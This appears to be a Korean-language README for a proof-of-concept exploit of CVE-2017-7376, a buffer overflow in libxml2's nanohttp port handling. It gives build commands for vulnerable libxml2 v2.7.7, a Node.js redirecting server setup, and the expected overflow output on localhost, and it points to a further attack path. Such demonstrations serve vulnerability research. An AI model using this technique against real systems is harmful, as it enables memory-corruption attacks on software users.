
CVE-2017-7376에 대한 예제 익스플로잇
CVE-2017-7376에 대한 예제 익스플로잇
이 저장소와 취약한 버전의 libxml2(예: v2.7.7)를 다운로드하세요:
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2
cd libxml2
익스플로잇의 성공을 더 잘 보이게 하려면 버퍼 오버플로를 감지하는 코드를 libxml2에 추가하세요. 애플리케이션 크래시 등 다른 가시적 수단이 있다면 필요하지 않습니다.
git apply ../nanohttp.patch
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install
다음 오류가 발생하는 경우:
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'
configure.in에서 AM_C_PROTOTYPES를 dnl AM_C_PROTOTYPES로 교체하세요. 예를 들어 다음과 같이 합니다:
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i
돌아가기
cd ..
이 익스플로잇은 5자리보다 크고 int32max(2147483648 = 2^32/2)보다 작은 포트 번호를 가진 새 URL로 리디렉션하는 웹 서버가 필요합니다.
서버 시작(node JS가 필요하며 127.0.0.1:8080 포트가 사용 중이 아니어야 함):
node http.js &
웹 서버 테스트; 유효하지 않은 포트 번호 2147426192에 대해 오류를 출력해야 합니다:
wget localhost:8080
make
./run.sh
예상 출력:
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml
이 데모 익스플로잇은 메인 프로그램이 xmlXIncludeProcess()를 실행하여 libxml2의 결함 코드에 도달해야 합니다. 이 함수는 실제 구현에서 많이 사용되지 않을 수 있습니다. 그러나 nanohttp.c는 주석에서 외부 하위 집합을 가져오기 위한 미니멀리스트 HTTP GET 구현이라고 언급하는데, 이는 또 다른 공격 경로를 제공할 수 있습니다.